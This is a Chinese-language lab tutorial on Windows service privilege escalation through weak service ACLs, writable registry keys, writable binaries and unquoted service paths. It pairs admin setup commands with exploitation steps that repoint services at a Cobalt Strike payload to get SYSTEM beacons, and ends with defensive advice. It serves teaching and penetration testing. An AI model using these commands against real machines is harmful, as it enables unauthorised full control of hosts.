Windows系统服务提权(含提权实验+环境配置教程)

admin 2024年10月13日17:39:49评论7 views字数 3735阅读12分27秒阅读模式
本文由掌控安全学院 -

 yuy0ung

 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

用户安装的一些软件会在本地注册一些服务,大多数服务在计算机开机时以系统system权限启动,应用软件在注册服务时会在以下路径创建对应注册表项:

计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices

其中服务的imagepath指向系统服务启动的二进制程序:

Windows系统服务提权(含提权实验+环境配置教程)

这里便产生一种提权的思路:

由于大多数系统服务是system权限启动,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,达到提权目录

这类提权往往是用户配置不当导致的,接下来分类细说

服务配置权限脆弱

windows的系统服务通过ACL来指定用户对其拥有的权限,常见权限如下:

Windows系统服务提权(含提权实验+环境配置教程)

如果目标主机的用户在配置服务时存在疏忽,使低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS),即可通过该低权限用户修改服务启动时的二进制文件路径,通过修改服务启动文件的路径“ binpath”,将其替换为恶意程序的路径,这样服务启动时便会运行恶意程序

存在缺陷的系统服务可以通过AccessChk[1]来枚举:

AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk是微软官方提供的管理工具,常用来枚举或查看系统中指定用户、组对特定资源(包括但不限于文件、文件夹、注册表、全局对象和系统服务等)的访问权限
Windows系统服务提权(含提权实验+环境配置教程)
低权限用户可以检查“Authenticated Users”组和“INTERACTIVE”组对系统服务的权限,前者为经过身份验证的用户,包含系统中所有使用用户名、密码登录并通过身份验证的账户,但不包括来宾账户,后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户,默认情况下,这两个组为计算机本地“Users”组的成员

环境准备

用admin权限配置环境:
•先建一个服务,名字为Yuy0ung,运行C盘下的1.exe:
sc create Yuy0ung binpath= "C:1.exe"
Windows系统服务提权(含提权实验+环境配置教程)
•创建一个用户模拟apache:
net user apache Admin123456 /add
Windows系统服务提权(含提权实验+环境配置教程)
•使用用subinacl(需要自己下载)给服务设置权限:
subinacl /service Yuy0ung /grant=apache=F
Windows系统服务提权(含提权实验+环境配置教程)

提权实验

切换到apche用户并用CS实现远控:
Windows系统服务提权(含提权实验+环境配置教程)
•上传accesschk并枚举是否具有apache用户可更改的服务配置:
accesschk.exe /accepteula -uwcqv apache *
Windows系统服务提权(含提权实验+环境配置教程)
若得到SERVICE_ALL_ACCESSSERVICE_CHANGE_CONFIG其中之一,则允许我们配置服务
注:除了accesschk,winpeas也可以枚举出可以修改的服务配置
•更改Yuy0ung服务的启动文件,替换成恶意的文件(这里我选择使用上传的远控exe)然后提权:
sc config Yuy0ung binpath= "C:UsersapacheDesktopartifact.exe"# 注意=后面有个空格
Windows系统服务提权(含提权实验+环境配置教程)
•手动启动服务:
sc start Yuy0ung
Windows系统服务提权(含提权实验+环境配置教程)
可以看见这里成功接收到了system权限的beacon

服务注册表权限脆弱

Windows的服务路径存储在Windows的注册表中,而注册表使用ACL来管理用户对其的访问权限,若ACL配置不当,使低权限用户可以更改注册表的选项的时候,就可以导致提权,可以将 imagepath 修改成恶意的文件,重启导致提权

环境准备

•新建一个test服务:
sc create test binpath= "C:1.exe"
Windows系统服务提权(含提权实验+环境配置教程)
•打开注册表给该文件权限,路径为HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestest
Windows系统服务提权(含提权实验+环境配置教程)

提权实验

依旧切换至apache并使用CS上线:
Windows系统服务提权(含提权实验+环境配置教程)
接下来进行信息搜集(可结合winpeas,这里不细说)
•使用accesschk枚举users具有写入权限的服务注册表:
shell accesschk.exe /accepteula -uvwqk users HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
Windows系统服务提权(含提权实验+环境配置教程)
发现test服务注册表可写
•powershell验证一下:
powershell Get-Acl -Path "HKLM:SYSTEMCurrentControlSetServicestest" | fl
Windows系统服务提权(含提权实验+环境配置教程)
users确实有完全控制权限
•老规矩,imagepath指向的文件替换为远控exe:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestest" /t REG_EXPAND_SZ/v ImagePath /d "C:UsersapacheDesktopartifact.exe" /f
Windows系统服务提权(含提权实验+环境配置教程)
•查看服务配置信息:
sc qc test
Windows系统服务提权(含提权实验+环境配置教程)
更改成功了
•接下来重启服务即可(这里普通用户是没有权限的,需要等待管理员重启电脑):
sc start test
Windows系统服务提权(含提权实验+环境配置教程)
成功获取system权限的beacon

服务路径权限脆弱

若主机存在错误配置或操作,使一个低权限用户对此服务调用的二进制文件或其所在目录有写权限,则可以将该文件替换为恶意后门文件,随服务启动继承系统权限

环境准备

首先使用管理员进行配置,创建一个test文件夹C:Program Filestest
•将test文件夹加入服务:
sc create svcpath binpath= ""C:Program Filestest1.exe""
Windows系统服务提权(含提权实验+环境配置教程)
•更改test文件夹对users的权限为完全控制:
icacls "C:Program Filestest" /grant Users:(OI)(CI)F /T
Windows系统服务提权(含提权实验+环境配置教程)

提权实验

切换到apache,并使用CS上线
•可上传并使用winpeas,查找出弱权限的服务:
winPEASany.exe quiet notcolor serviceinfo
Windows系统服务提权(含提权实验+环境配置教程)
可以发现users对C:Program Filestest1.exeC:Program Filestest1.exe能完全控制
•直接将1.exe替换成恶意后门,我这里用CS生成的artifact.exe进行替换,等待服务重启即可(依然是需要管理员权限)
Windows系统服务提权(含提权实验+环境配置教程)
Windows系统服务提权(含提权实验+环境配置教程)
成功获取system权限

未引用的服务路径

又称Tusted Service Paths,windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
如果在注册表中存在没有被引用起来的服务路径 如果是如下C:Program FilesSomeFolderService.exe 因为 Program Files 和 Some Folder都存在空格,就可能存在截断,依次寻找如下的程序并且执行阶段如下:
C:Program.exeC:Program FilesSome.exeC:Program FilesSome FolderService.exe
我们只需要在相应的目录下制作一个恶意的程序,达到提权的目的即可,所以提权的条件如下:
1、服务路径没有用引号引起来2、服务的路径中存在空格3、服务以最高权限启动后4、具有到对应目录下写文件的权限

环境准备

•首先创建一个服务,或者自己安装一个软件,路径中存在空格,并且服务的路径中没有引号
sc create "service" binpath= "C:Program FilesCommon Filestesttest.exe" start= auto
Windows系统服务提权(含提权实验+环境配置教程)
•查询服务的启动方式和权限
sc qc service
Windows系统服务提权(含提权实验+环境配置教程)
是system权限和自启动
•给users一个写权限:
icacls "C:" /grant "BUILTINUsers":W
Windows系统服务提权(含提权实验+环境配置教程)

提权实验

•使用winpeas扫描发现未引用的服务:
winPEASany.exe quiet notcolor serviceinfo
Windows系统服务提权(含提权实验+环境配置教程)
•检查权限:
icacls "C:"icacls "C:Program Files"icacls "C:Program FilesCommon Files"
Windows系统服务提权(含提权实验+环境配置教程)
发现apache用户对C盘有F权限,即完全访问
•在C盘下创建一个恶意文件Program.exe运行(我同样使用artifact):
Windows系统服务提权(含提权实验+环境配置教程)
•重启,等待服务自动启动即可上线:
Windows系统服务提权(含提权实验+环境配置教程)
成功获取system权限

针对不安全服务提权的防御措施

•正确配置可执行文件权限
•正确配置注册表权限
•检查是否存在未被引用的服务文件的路径
•正确配置环境变量中路径的权限

References

[1] AccessChk: https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

Windows系统服务提权(含提权实验+环境配置教程)

 

原文始发于微信公众号(掌控安全EDU):Windows系统服务提权(含提权实验+环境配置教程)

 


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日17:39:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows系统服务提权(含提权实验+环境配置教程)http://cn-sec.com/archives/3262361.html

发表评论

匿名网友 填写信息